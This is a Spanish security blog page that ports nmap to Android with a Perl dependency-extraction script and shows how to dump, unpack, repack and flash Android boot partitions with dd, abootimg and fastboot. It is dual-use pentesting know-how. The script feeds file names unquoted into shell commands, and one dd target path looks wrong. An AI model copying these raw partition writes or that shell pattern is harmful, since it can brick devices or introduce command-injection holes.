Portando cualquier programa GNU/Linux a Android

Últimamente ha sonado mucho el “Ubuntu for android” que no es más que un port de ubuntu que corre sobre android (sí, no remplaza android, simplemente corre en un entorno chroot SOBRE android), pero aun queda esperar para probarlo, pero no somos de las personas que les guste esperar, además podemos asumir que no nos interesa tener la distro completa, solo ciertas herramientas que podemos utilizar para el pentesting.

La cosa es bastante simple, primero necesitamos bajar la iso de debian para ARMEL
 Zer0-null:/home/xianur0 # wget http://cdimage.debian.org/debian-cd/current/armel/iso-cd/debian-6.0.6-armel-xfce+lxde-CD-1.iso

Ya que tengamos ese iso, extraemos la carpeta pool (no nos interesa nadamás del iso) y utilizaremos la herramienta “Deb2Droid” para “instalar” cualquier programa en el android.

Nota: Podemos bajar archivos con extensión “.deb” de otros repositorios de debian, siempre y cuando sean para la arquitectura “armel”:

Por ejemplo tenemos este:
http://ftp.fr.debian.org/debian/pool/main

Para este caso bajaremos nmap:
 http://ftp.fr.debian.org/debian/pool/main/n/nmap/nmap_5.00-3_armel.deb

y lo meteremos dentro de pool/main/n/

Ahora con la herramienta “Deb2Droid” vamos a exportar nmap con todas sus dependencias:
 Zer0-null:/home/xianur0/debian-arm # perl export.pl

Deb2Droid v0.1 by Xianur0

Use: ./export.pl [pool dir] [deb]

Zer0-null:/home/xianur0/debian-arm/nmap # perl export.pl ../pool/main/ n/nmap_5.00-3_armel.deb

[...]

[-] Instaladas!

[-] Paquete y dependencias extraidos correctamente!

Llegados a este punto ya tendremos todo extraído en la carpeta actual (donde ejecutamos el export.pl).
Zer0-null:/home/xianur0/debian-arm/nmap # ls

bin  config  etc  export.pl  lib  sbin  selinux  shlibs  symbols  templates  usr  var

De este modo ya tendríamos listo nmap para correrlo en cualquier dispositivo android, el detalle hasta ahora es que... pesa mucho...
 Zer0-null:/home/xianur0/debian-arm/nmap # du -sh .

68M    .

Ahora la cosa es tomar solo lo que nos sirve:
 Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # objdump -x nmap  | grep NEEDED

NEEDED               libpcre.so.3

NEEDED               libpcap.so.0.8

NEEDED               libssl.so.0.9.8

NEEDED               libcrypto.so.0.9.8

NEEDED               liblua5.1.so.0

NEEDED               libdl.so.2

NEEDED               libstdc++.so.6

NEEDED               libm.so.6

NEEDED               libgcc_s.so.1

NEEDED               libc.so.6

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/bin/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp nmap /home/xianur0/nmap-final/bin/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/lib

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libpcre.so.3 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libpcap.so.0.8 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libssl.so.0.9.8 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libcrypto.so.0.9.8 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/liblua5.1.so.0 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libdl.so.2 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libstdc++.so.6 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libm.so.6 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libgcc_s.so.1 /home/xianur0/nmap-final/lib/

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libc.so.6 /home/xianur0/nmap-final/lib/

Listo, ya tenemos nmap con todas sus dependencias reales en /home/xianur0/nmap-final

Pero ahora toca ver si alguna de sus dependencias tiene alguna dependencia sin cumplir (hacer recursivamente esto hasta tener todas las libs necesarias):
 Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # objdump -x * | grep -i NEEDED | sort -n | uniq

NEEDED               libacl.so.1

NEEDED               libattr.so.1

NEEDED               libbz2.so.1.0

NEEDED               libcrypto.so.0.9.8

NEEDED               libcrypt.so.1

NEEDED               libc.so.6

NEEDED               libdl.so.2

NEEDED               libgcc_s.so.1

NEEDED               liblua5.1.so.0

NEEDED               liblzma.so.2

NEEDED               libm.so.6

NEEDED               libpcap.so.0.8

NEEDED               libpcreposix.so.3

NEEDED               libpcre.so.3

NEEDED               libperl.so.5.10

NEEDED               libpthread.so.0

NEEDED               librt.so.1

NEEDED               libselinux.so.1

NEEDED               libssl.so.0.9.8

NEEDED               libstdc++.so.6

NEEDED               libz.so.1

y copiamos todas las que nos falte:
 Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # ls -l /home/xianur0/nmap-final/lib/

total 6712

-rwxr-xr-x 1 root root  122340 ene 14 04:53 ld-linux.so.3

-rw-r--r-- 1 root root   25412 ene 14 05:01 libacl.so.1

-rw-r--r-- 1 root root   14576 ene 14 05:02 libattr.so.1

-rw-r--r-- 1 root root   74552 ene 14 04:57 libbz2.so.1.0

-rw-r--r-- 1 root root 1247604 ene 14 04:26 libcrypto.so.0.9.8

-rw-r--r-- 1 root root   34376 ene 14 05:00 libcrypt.so.1

-rwxr-xr-x 1 root root 1205684 ene 14 04:27 libc.so.6

-rw-r--r-- 1 root root    9808 ene 14 04:26 libdl.so.2

-rw-r--r-- 1 root root   47212 ene 14 04:27 libgcc_s.so.1

-rw-r--r-- 1 root root  143460 ene 14 04:26 liblua5.1.so.0

-rw-r--r-- 1 root root  127380 ene 14 04:54 liblzma.so.2

-rw-r--r-- 1 root root  652912 ene 14 04:27 libm.so.6

-rw-r--r-- 1 root root  193012 ene 14 05:01 libpcap.so.0.8

-rw-r--r-- 1 root root    5892 ene 14 04:56 libpcreposix.so.3

-rw-r--r-- 1 root root  186208 ene 14 04:25 libpcre.so.3

-rw-r--r-- 1 root root 1251792 ene 14 04:56 libperl.so.5.10

-rwxr-xr-x 1 root root  120505 ene 14 04:53 libpthread.so.0

-rw-r--r-- 1 root root   26632 ene 14 04:55 librt.so.1

-rw-r--r-- 1 root root  100312 ene 14 04:54 libselinux.so.1

-rw-r--r-- 1 root root  270772 ene 14 04:26 libssl.so.0.9.8

-rw-r--r-- 1 root root  874176 ene 14 04:27 libstdc++.so.6

-rw-r--r-- 1 root root   82124 ene 14 04:53 libz.so.1

 
 Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # ls -alh /home/xianur0/nmap-final/bin

total 620K

drwxr-xr-x 2 root root 4,0K ene 14 04:24 .

drwxr-xr-x 4 root root 4,0K ene 14 04:25 ..

-rwxr-xr-x 1 root root 609K ene 14 04:24 nmap

 

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # du -sh /home/xianur0/nmap-final/

7,2M   /home/xianur0/nmap-final/

Ahora pesa mucho menos que los 68 MB's con la basura de debian.

Preparemos el entorno y subamos al dispositivo todo:
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/proc

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/dev

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/sys

Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # adb push /home/xianur0/nmap-final /sdcard/nmap

Y probemos en el dispositivo a ver si funciona:

Primero copiaré la carpeta a /data/local/nmap porque la SD es fat32 y no acepta permisos de ejecución (que requerimos para ejecutar el programa):
# cp -R /sdcard/nmap /data/local/nmap

# cd /data/local/nmap

Montamos las particiones para que se comunique con el sistema:
# mount -o bind /proc proc

# mount -o bind /dev dev

# mount -o bind /sys sys

Ahora vamos a ver si se ejecuta:
 # chroot /data/local/nmap /bin/nmap -V

Nmap version 5.00 ( http://nmap.org )

Y listo nmap corriendo en android :D.

También podemos portar GCC/Make y otras herramientas de desarrollo y directamente compilar el programa en el celular, lo cual nos ahorraría eliminar tanta basura.

 export.pl


#!/usr/bin/perl -w
require Digest::MD5;
my $base = $ARGV[0];
my $arg1 = $ARGV[1] || die(("\t"x3)."Deb2Droid v0.1 by Xianur0\n\nUse: ./export.pl [pool dir] [deb]\n");
my @packages = ($arg1);
our @extraidos = ();
our @depsinstaladas = ();
my $install = 1;
system("mkdir var && mkdir var/lib && mkdir var/lib/dpkg && mkdir var/lib/dpkg/info");
open STATUS,">>var/lib/dpkg/status";
sub copiar {
my ($origen,$destino) = @_;
open(FILES,"<".$origen) || return 0;
my $contenido = "";
binmode FILES;
while(<FILES>) {
$contenido .=$_;
}
close(FILES);
open FILED,">".$destino;
binmode FILED;
print FILED $contenido;
close(FILED);
}
sub locatedep {
my ($dir,$dep) = @_;
$dir .= "/" if($dir !~ /\/$/);
my @files = <$dir*>;
foreach my $file (@files) {
my $tmpfile = $file;
$tmpfile =~ s/^.+\///g;
if(-d $file) {
if($file !~ /^\.+$/){
return 1 if(locatedep($file,$dep));
}
}
elsif(-f $file && $dep eq substr($tmpfile,0,length($dep)) && $file =~ /u?deb$/) {
print "[-] Posible paquete encontrado: ".$dep." ? ".$file."\n";
print "ar x ".$file." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1\n";
if($install == 1){
print "[-] Extrayendo paquete...\n";
return 1 if(extract($file,$dep));
}
}
}
return 0;
}
sub in_array
{
my ($arr,$search_for) = @_;
my %items = map {$_ => 1} @$arr; # create a hash out of the array values
return (exists($items{$search_for}))?1:0;
}

sub finddeps {
my $searchpackagename = "";
$searchpackagename = $_[0] if($#_ >= 0);
$searchpackagename = "" unless defined $searchpackagename;
open CONTROL,"<control" || return;
open MD5,"<md5sums";
open CONFFILES,"<conffiles";
my $control = "";
my $md5 = "";
my $conffiles = "";
return unless(fileno(MD5));
while(<CONTROL>) {
$control.=$_;
}
close(CONTROL);
my $packagename = "";
$packagename = $1 if($control =~ /Package: ([^\r\n]+)/);
print "Paquete: ".$searchpackagename."=? ".$packagename."\n";
if($searchpackagename ne "" && $searchpackagename ne $packagename) {
return 0;
}
if(fileno(MD5)){
while(<MD5>) {
$md5.=$_;
}
close(MD5);
}
my $status = "Status: install ok not-installed";
if(fileno(CONFFILES)) {
while(<CONFFILES>) {
my $f = $_;
$f =~ s/[\r\n]+//g;
open F, ".".$f;
my $cf = "";
while(<F>){
$cf .= $_;
}
$conffiles.=" ".$f." ".Digest::MD5::md5_hex($cf)."\n";
}
close(CONFFILES);
$control =~ s/(Description:\s+)/Conffiles:\n$conffiles$1/;
$status = "Status: install reinstreq half-configured";
}
checkmd5($md5);
my $depsstring = "";
$depsstring = $1 if($control =~ /Depends: ([^\r\n]+)/);
copiar("archivos.list","var/lib/dpkg/info/".$packagename.".list");
copiar("postinst","var/lib/dpkg/info/".$packagename.".postinst");
copiar("preinst","var/lib/dpkg/info/".$packagename.".preinst");
copiar("postrm","var/lib/dpkg/info/".$packagename.".postrm");
copiar("prerm","var/lib/dpkg/info/".$packagename.".prerm");
open MD5OUT,">>var/lib/dpkg/info/".$packagename.".md5sums";
print MD5OUT $md5;
$md5 = "";
if($depsstring eq ""){
print "[-] Sin dependencias... continuando...\n";
return 1;
}
my @deps = ($depsstring =~ /[^\,]+/g);
my $i = 0;
for $dep (@deps) {
$dep =~ s/^\s+//g;
my $version = $dep;
$version =~ s/(.+\()//g;
$version =~ s/\)//g;
my $condicion = "";
if($version=~/^(>|>=|<=|==|<)\s+([\:\.\d]+)$/){
($condicion,$version) = ($1,$2);
} else {$version="";}
$dep =~ s/\s+.+$//g;
$deps[$i] = $dep;
$i++;
}
print "[-]Instalando dependencias....\n\n";
for $dep (@deps) {
my $cdep = $#deps;
if(!in_array(\@depsinstaladas,$dep)){
push(@depsinstaladas,$dep);
print "[-] Buscando paquete: ".$dep."...\n";
if(!locatedep($base,$dep)) {
die("\n[!] No se pudo resolver la dependencia: ".$dep."\n");
}
}
}
print "[-] Agregando a status...\n";
$control =~s/^Package\:([^\r\n]+)/Package:$1\n$status/;
print $control."\n";
print STATUS $control."\n\n";
print "[-] Instaladas!\n";
return 1;
}
sub extract {
my ($p,$packname) = @_;
if(in_array(\@extraidos,$p)){
return 1;
}
push(@extraidos,$p);
my $descarte = "";
system("ar x ".$p." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1");
my $estado = finddeps($packname);
system("rm md5sums 2>&1 | rm control 2>&1 | rm archivos.list 2>&1 | rm debian 2>&1 | rm debian-binary 2>&1 | rm conffiles 2>&1 | rm postinst 2>&1 | rm preinst 2>&1 | rm postrm 2>&1 | rm prerm 2>&1 | rm data.tar.gz 2>&1 | rm control.tar.gz 2>&1 | echo ");
return $estado;
}
sub checkmd5 {
my $md5 = $_[0];
my @lineas = split(/[\r\n]/,$md5);
for $linea (@lineas) {
my ($md5,$objeto) = ($linea =~ /^([\w\d]+)\s+(.+)$/);
open OBJETO,"<".$objeto;
binmode OBJETO;
my $bin = "";
while(<OBJETO>){
$bin .=$_;
}
my $md5real = Digest::MD5::md5_hex($bin);
unless($md5 eq $md5real) {
die("\n[!] MD5 incorrecto: ".$md5."!=".$md5real." en: ${objeto}\n");
} else {
print "\r[-] Probando MD5: ${md5} ${md5real} ${objeto}\r";
}
}
print "\n[-] MD5's correctos!\n";
}
for $package (@packages){
extract($base.$package);
}
print "[-] Paquete y dependencias extraidos correctamente!\n";

 

By Xianur0
 

Universidad Tecnologica de Tecamachalco, Puebla

[gallery columns="4" ids="1612,1613,1614,1615,1616,1617,1618,1619,1620,1621,1622,1623,1624,1625,1626,1627,1628,1629,1630,1631,1632,1633,1634,1635"]
 

Universidad Tecnologica de San Juan del Rio

[gallery columns="4" link="file" ids="1584,1585,1586,1587,1588,1589,1590,1605,1604,1603,1602,1601,1600,1599,1598,1597,1596,1595,1593,1592,1591"]
 

Android Para Hackers Reales pt.1

El titulo de esta publicación seguramente será muy polémico y causará muchas criticas, pero crear este “manual” y poner esta clase de títulos tienen sus razones, para comenzar las publicaciones de  “Android para hackers” normalmente no pasan de una lista de apps para instalar y que harán todo el trabajo, pero sin duda alguna es complicado encontrar algo que valga la pena y que no esté regado por todo internet, además de que todo eso es negocio de scriptkiddies no de “hackers” como sugiere el título, por esta sencilla razón me daré a la labor de armar un manual de como convertir esto:


 23rk9wz

 

En esto:

qoej6b

Y finalmente esto:

fperl

Todo completamente desde 0. Vamos a hacer Ing. Inversa, vamos a compilar kernels, vamos a montarlos en dispositivos android (este manual estará más que nada enfocado a tabletas, aunque puede servir en celulares también) y vamos a hacer hacks reales.

Comenzamos!

Para este primer post vamos con una introducción al kernel de android, las herramientas que vamos a necesitar son: Android rooteado (hay muchos manuales además de que este proceso puede variar según el dispositivo que se tenga, por lo que no entraré en detalles respecto a esto), adb (se instala con el Android SDK o pueden usar “adb lite” que pueden encontrar buscando en google :P), abootimg (http://gitorious.org/ac100/abootimg) y binwalk (sería igual utilizar un editor hexadecimal en lugar de esta herramienta, pero para acelerar un poco las cosas, lo usaremos esta vez :P).

En esta primera parte trabajaré con un celular android, debido a que la tableta que tengo a la mano para trabajar (Sony Tablet S)  lleva un proceso diferente (del cual hablaré en el siguiente post), pero este proceso se aplica a una gran cantidad de tabletas android.

Para las personas que no estén familiarizadas con compilar kernels tal vez se les complique un poco entender los términos que se utilizarán a lo largo de este post, pero intentaré hacerlo lo más claro posible.
 # mount | grep /system

/dev/block/mmcblk0p14 /system ext4 rw,relatime,barrier=1,data=ordered 0 0

Lo primero es identificar las particiones que utiliza el dispositivo, para detectar las que faltan y buscar en ellas el tan deseado kernel.
 # mount | grep /dev/block/mmcblk0p

/dev/block/mmcblk0p14 /system ext4 rw,relatime,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p21 /data ext4 rw,nosuid,nodev,noatime,errors=continue,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p15 /persist ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p16 /cache ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p18 /drm ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

/dev/block/mmcblk0p22 /mpt ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0

Ya tenemos la 14,21, 15, 16, 18 y 22 identificadas.
 # ls -l /dev/block/mmcblk0p*

brw------- root     root     179,   1 2013-01-04 00:13 mmcblk0p1

brw------- root     root     179,  10 2013-01-13 20:06 mmcblk0p10

brw------- root     root     179,  11 2013-01-13 19:48 mmcblk0p11

brw------- root     root     179,  12 2013-01-04 00:13 mmcblk0p12

brw------- root     root     179,  13 2013-01-04 00:13 mmcblk0p13

brw------- root     root     179,  14 2013-01-04 00:13 mmcblk0p14

brw------- root     root     179,  15 2013-01-04 00:13 mmcblk0p15

brw------- root     root     179,  16 2013-01-04 00:13 mmcblk0p16

brw-rw---- system   system   179,  17 2013-01-04 00:13 mmcblk0p17

brw-rw---- system   system   179,  18 2013-01-04 00:13 mmcblk0p18

brw------- root     root     179,  19 2013-01-04 00:13 mmcblk0p19

brw------- root     root     179,   2 2013-01-04 00:13 mmcblk0p2

brw------- root     root     179,  20 2013-01-04 00:13 mmcblk0p20

brw------- root     root     179,  21 2013-01-04 00:13 mmcblk0p21

brw------- root     root     179,  22 2013-01-04 00:13 mmcblk0p22

brw------- root     root     179,  23 2013-01-04 00:13 mmcblk0p23

brw------- root     root     179,   3 2013-01-04 00:13 mmcblk0p3

brw------- root     root     179,   4 2013-01-04 00:13 mmcblk0p4

brw------- root     root     179,   5 2013-01-04 00:13 mmcblk0p5

brwxrwx--- root     radio    179,   6 2013-01-04 00:13 mmcblk0p6

brw------- root     root     179,   7 2013-01-04 00:13 mmcblk0p7

brwxrwx--- root     system   179,   8 2013-01-04 00:13 mmcblk0p8

brw------- root     root     179,   9 2013-01-04 00:13 mmcblk0p9

Lamentablemente nos faltan algunas por identificar.

Una ayuda bastante útil es cuando /proc/mtd está activo:
 # cat /proc/mtd

dev:    size   erasesize  name

mtd0: 00500000 00020000 "boot"

mtd1: 00500000 00020000 "recovery"

mtd2: 00140000 00020000 "misc"

mtd3: 00060000 00020000 "splash"

mtd4: 0aa00000 00020000 "system"

mtd5: 04600000 00020000 "cache"

mtd6: 0bda0000 00020000 "userdata"

mtd7: 01400000 00020000 "userdata2"

Lamentablemente esto no es en la mayoría de los dispositivos:
# cat /proc/mtd

/proc/mtd: No such file or directory

Por lo que se requiere realizar un poco de Ing. Inversa.
 # dd if=/dev/block/mmcblk0p1 of=/sdcard/mmcblk0p1

40+0 records in

40+0 records out

20480 bytes transferred in 0.004 secs (5120000 bytes/sec)

Copiamos cada partición a la SDCard y luego las bajamos a la pc:
 Zer0-null:/home/xianur0 # adb pull /sdcard/mmcblk0p1 mmcblk0p1

236 KB/s (20480 bytes in 0.084s)

Y vamos analizando una por una con binwalk:
 Zer0-null:/home/xianur0 # binwalk mmcblk0p1

 

DECIMAL     HEX               DESCRIPTION

-------------------------------------------------------------------------------------------------------

En muchos casos incluso binwalk no puede detectar de que es la partición, entonces nos toca hacerlo manualmente con un editor hexadecimal.
 Zer0-null:/home/xianur0/L3-back # binwalk mmcblk0p9

 

DECIMAL     HEX               DESCRIPTION

-------------------------------------------------------------------------------------------------------

20010              0x4E2A          gzip compressed data, from Unix, last modified: Thu Jul 26 05:55:33 2012, max compression

[…]

 

Bingo! Eso suena interesante, veamos si es:

 
Zer0-null:/home/xianur0/L3-back # perl -e 'my $tmp="";open FILE,"<mmcblk0p9"; read FILE,$tmp,8; print $tmp;'

ANDROID!

 

El encabezado “ANDROID!” indica que esta partición es... boot!, en esta es donde se encuentra el kernel :P.
 

Zer0-null:/home/xianur0/L3-back # abootimg -i mmcblk0p9

 

Android Boot Image Info:

 
* file name = mmcblk0p9

 

* image size = 8388608 bytes (8.00 MB)

page size  = 4096 bytes

 

* Boot Name = ""

 

* kernel size       = 3312024 bytes (3.16 MB)

ramdisk size      = 490986 bytes (0.47 MB)

 

* load addresses:

kernel:       0x00208000

ramdisk:      0x01300000

tags:         0x00200100

 

* cmdline = androidboot.hardware=e0

 

  • id = 0x099380a2 0xe8c73d9d 0x7ec0b3eb 0xb7d342d1 0xfda995b2 0x00000000 0x00000000 0x00000000


 

Ya tenemos los valores que vamos a utilizar luego, pero por ahora vamos a extraer esta partición:

 
Zer0-null:/home/xianur0/L3-back # abootimg -x mmcblk0p9

writing boot image config in bootimg.cfg

extracting kernel in zImage

extracting ramdisk in initrd.img

 

 

Primero que nada: zImage sería el kernel, y initrd.img el ramdisk, esencialmente el ramdisk es algo así como la partición raíz (“/”) en linux, siendo esta montada como solo lectura (a que no se habían dado cuenta de que todo lo que ponen en “/” se borra :P).

 

Un punto importante es que no en todos los dispositivos es tan fácil conseguir el kernel, en muchos casos viene bloqueado de fábrica, de modo que ni siquiera lo pueden ver como partición, pero tenemos el siguiente truco que puede ayudar en muchos casos:

 

Zer0-null:/home/xianur0 # fastboot oem unlock

 

Pero no profundizaré mucho sobre ese tema en este post.

 

Podemos editar el ramdisk de la siguiente forma:

 
Zer0-null:/home/xianur0/L3-back # mkdir ramdisk && cd ramdisk && gzip -dc ../initrd.img | cpio -i

2074 blocks

 

Zer0-null:/home/xianur0/L3-back/ramdisk # ls

chargerimages  dev         init.goldfish.rc  init.rc         lgdms.fota_update.rc  sbin    ueventd.goldfish.rc

data           init        init.qcom.rc      init.target.rc  lgsecurity.rc         sys     ueventd.rc

default.prop   init.e0.rc  init.qcom.sh      lgdms.fota.rc   proc                  system

 

ya tenemos el ramdisk extraído, podemos cambiar las cosas que necesitemos y volver a empaquetarlo:

 
Zer0-null:/home/xianur0/L3-back/ramdisk # find . | cpio -o -H newc | gzip > ../new-initrd.img

2074 blocks

 

Después con el mismo abootimg:

 
Zer0-null:/home/xianur0/L3-back # cp mmcblk0p9 mmcblk0p9.new && abootimg -u mmcblk0p9.new -r new-initrd.img

reading ramdisk from new-initrd.img

Writing Boot Image mmcblk0p9.new

 

y listo, tenemos la partición como nueva.

 

Podemos subirla de muchas formas al dispositivo, una es con el mismo dd:

 
Zer0-null:/home/xianur0/L3-back # adb push  mmcblk0p9.new /sdcard/

 

Y en el dispositivo:

 
# dd if=/sdcard/mmcblk0p9.new of=/mmcblk0p9

 

 

O también se puede realizar con fastboot:

 

Fastboot es uno de los modos que tiene android, similar a adb, la diferencia es que fastboot corre en pre-os es decir se ejecuta antes que android como tal y es muy similar a PXE (Entorno de ejecución de prearranque).

 

Para entrar a fastboot se tiene que apagar el dispositivo y con una combinación especifica de botones (varían de dispositivo a dispositivo) presionados, encender el dispositivo, para reconocer que un dispositivo está en fastboot basta con ver que no pasa de la primera pantalla (normalmente el logo del fabricante).

 
Zer0-null:/home/xianur0/L3-back # fastboot flash boot mmcblk0p9.new

 

Por cierto, sabían que fastboot permite ejecutar un kernel sin necesitar de flashearlo al dispositivo?

 
Zer0-null:/home/xianur0/L3-back # fastboot boot mmcblk0p9.new

 

o

 
Zer0-null:/home/xianur0/L3-back # fastboot boot zImage initrd.img

 

Es algo así como un “live-kernel”, esto nos puede ser de mucha utilidad cuando puede haber riesgo de “brickear” el dispositivo si se escribe un kernel/ramdisk defectuoso, de modo que podemos probarlo antes de flashearlo al dispositivo.

 

Por ahora nos hemos extendido un poco, así que terminemos por ahora este post, no sin antes dar un adelanto de lo que veremos en el siguiente:

 

* Cross-Compilar un kernel de android.

* Compilar driver RTL8187 en Sony Tablet S para levantar una antena wifi Alfa Networks.
#!/usr/bin/perl -w
require Digest::MD5;
my $base = $ARGV[0];
my $arg1 = $ARGV[1] || die(("\t"x3)."Deb2Droid v0.1 by Xianur0\n\nUse: ./export.pl [pool dir] [deb]\n");
my @packages = ($arg1);
our @extraidos = ();
our @depsinstaladas = ();
my $install = 1;
system("mkdir var && mkdir var/lib && mkdir var/lib/dpkg && mkdir var/lib/dpkg/info");
open STATUS,">>var/lib/dpkg/status";
sub copiar {
my ($origen,$destino) = @_;
open(FILES,"<".$origen) || return 0;
my $contenido = "";
binmode FILES;
while(<FILES>) {
$contenido .=$_;
}
close(FILES);
open FILED,">".$destino;
binmode FILED;
print FILED $contenido;
close(FILED);
}
sub locatedep {
my ($dir,$dep) = @_;
$dir .= "/" if($dir !~ /\/$/);
my @files = <$dir*>;
foreach my $file (@files) {
my $tmpfile = $file;
$tmpfile =~ s/^.+\///g;
if(-d $file) {
if($file !~ /^\.+$/){
return 1 if(locatedep($file,$dep));
}
}
elsif(-f $file && $dep eq substr($tmpfile,0,length($dep)) && $file =~ /u?deb$/) {
print "[-] Posible paquete encontrado: ".$dep." ? ".$file."\n";
print "ar x ".$file." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1\n";
if($install == 1){
print "[-] Extrayendo paquete...\n";
return 1 if(extract($file,$dep));
}
}
}
return 0;
}
sub in_array
{
my ($arr,$search_for) = @_;
my %items = map {$_ => 1} @$arr; # create a hash out of the array values
return (exists($items{$search_for}))?1:0;
}

sub finddeps {
my $searchpackagename = "";
$searchpackagename = $_[0] if($#_ >= 0);
$searchpackagename = "" unless defined $searchpackagename;
open CONTROL,"<control" || return;
open MD5,"<md5sums";
open CONFFILES,"<conffiles";
my $control = "";
my $md5 = "";
my $conffiles = "";
return unless(fileno(MD5));
while(<CONTROL>) {
$control.=$_;
}
close(CONTROL);
my $packagename = "";
$packagename = $1 if($control =~ /Package: ([^\r\n]+)/);
print "Paquete: ".$searchpackagename."=? ".$packagename."\n";
if($searchpackagename ne "" && $searchpackagename ne $packagename) {
return 0;
}
if(fileno(MD5)){
while(<MD5>) {
$md5.=$_;
}
close(MD5);
}
my $status = "Status: install ok not-installed";
if(fileno(CONFFILES)) {
while(<CONFFILES>) {
my $f = $_;
$f =~ s/[\r\n]+//g;
open F, ".".$f;
my $cf = "";
while(<F>){
$cf .= $_;
}
$conffiles.=" ".$f." ".Digest::MD5::md5_hex($cf)."\n";
}
close(CONFFILES);
$control =~ s/(Description:\s+)/Conffiles:\n$conffiles$1/;
$status = "Status: install reinstreq half-configured";
}
checkmd5($md5);
my $depsstring = "";
$depsstring = $1 if($control =~ /Depends: ([^\r\n]+)/);
copiar("archivos.list","var/lib/dpkg/info/".$packagename.".list");
copiar("postinst","var/lib/dpkg/info/".$packagename.".postinst");
copiar("preinst","var/lib/dpkg/info/".$packagename.".preinst");
copiar("postrm","var/lib/dpkg/info/".$packagename.".postrm");
copiar("prerm","var/lib/dpkg/info/".$packagename.".prerm");
open MD5OUT,">>var/lib/dpkg/info/".$packagename.".md5sums";
print MD5OUT $md5;
$md5 = "";
if($depsstring eq ""){
print "[-] Sin dependencias... continuando...\n";
return 1;
}
my @deps = ($depsstring =~ /[^\,]+/g);
my $i = 0;
for $dep (@deps) {
$dep =~ s/^\s+//g;
my $version = $dep;
$version =~ s/(.+\()//g;
$version =~ s/\)//g;
my $condicion = "";
if($version=~/^(>|>=|<=|==|<)\s+([\:\.\d]+)$/){
($condicion,$version) = ($1,$2);
} else {$version="";}
$dep =~ s/\s+.+$//g;
$deps[$i] = $dep;
$i++;
}
print "[-]Instalando dependencias....\n\n";
for $dep (@deps) {
my $cdep = $#deps;
if(!in_array(\@depsinstaladas,$dep)){
push(@depsinstaladas,$dep);
print "[-] Buscando paquete: ".$dep."...\n";
if(!locatedep($base,$dep)) {
die("\n[!] No se pudo resolver la dependencia: ".$dep."\n");
}
}
}
print "[-] Agregando a status...\n";
$control =~s/^Package\:([^\r\n]+)/Package:$1\n$status/;
print $control."\n";
print STATUS $control."\n\n";
print "[-] Instaladas!\n";
return 1;
}
sub extract {
my ($p,$packname) = @_;
if(in_array(\@extraidos,$p)){
return 1;
}
push(@extraidos,$p);
my $descarte = "";
system("ar x ".$p." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1");
my $estado = finddeps($packname);
system("rm md5sums 2>&1 | rm control 2>&1 | rm archivos.list 2>&1 | rm debian 2>&1 | rm debian-binary 2>&1 | rm conffiles 2>&1 | rm postinst 2>&1 | rm preinst 2>&1 | rm postrm 2>&1 | rm prerm 2>&1 | rm data.tar.gz 2>&1 | rm control.tar.gz 2>&1 | echo ");
return $estado;
}
sub checkmd5 {
my $md5 = $_[0];
my @lineas = split(/[\r\n]/,$md5);
for $linea (@lineas) {
my ($md5,$objeto) = ($linea =~ /^([\w\d]+)\s+(.+)$/);
open OBJETO,"<".$objeto;
binmode OBJETO;
my $bin = "";
while(<OBJETO>){
$bin .=$_;
}
my $md5real = Digest::MD5::md5_hex($bin);
unless($md5 eq $md5real) {
die("\n[!] MD5 incorrecto: ".$md5."!=".$md5real." en: ${objeto}\n");
} else {
print "\r[-] Probando MD5: ${md5} ${md5real} ${objeto}\r";
}
}
print "\n[-] MD5's correctos!\n";
}
for $package (@packages){
extract($base.$package);
}
print "[-] Paquete y dependencias extraidos correctamente!\n";

By Xianur0
 

Articulo destacado en Ingenet

El articulo de Facebook explotando el ser humano, ha sido publicado como destacado en la red de blogs Ingenet, que pertenece a Carlos Slim, Ingenet es una red social de Ingenieria en Mexico, donde se muestran los mas recientes avances y se comparten articulos con toda la comunidad, si quieres ver el articulo esta es la direccion

http://bitacora.ingenet.com.mx/2013/01/facebook-explotando-al-ser-humano-y-geolocalizacion/

Nos han pedido que escribamos un articulo mensual, asi que estaremos coolaborando con articulos de Seguridad Informatica
 

Webcast 6 Disponible!
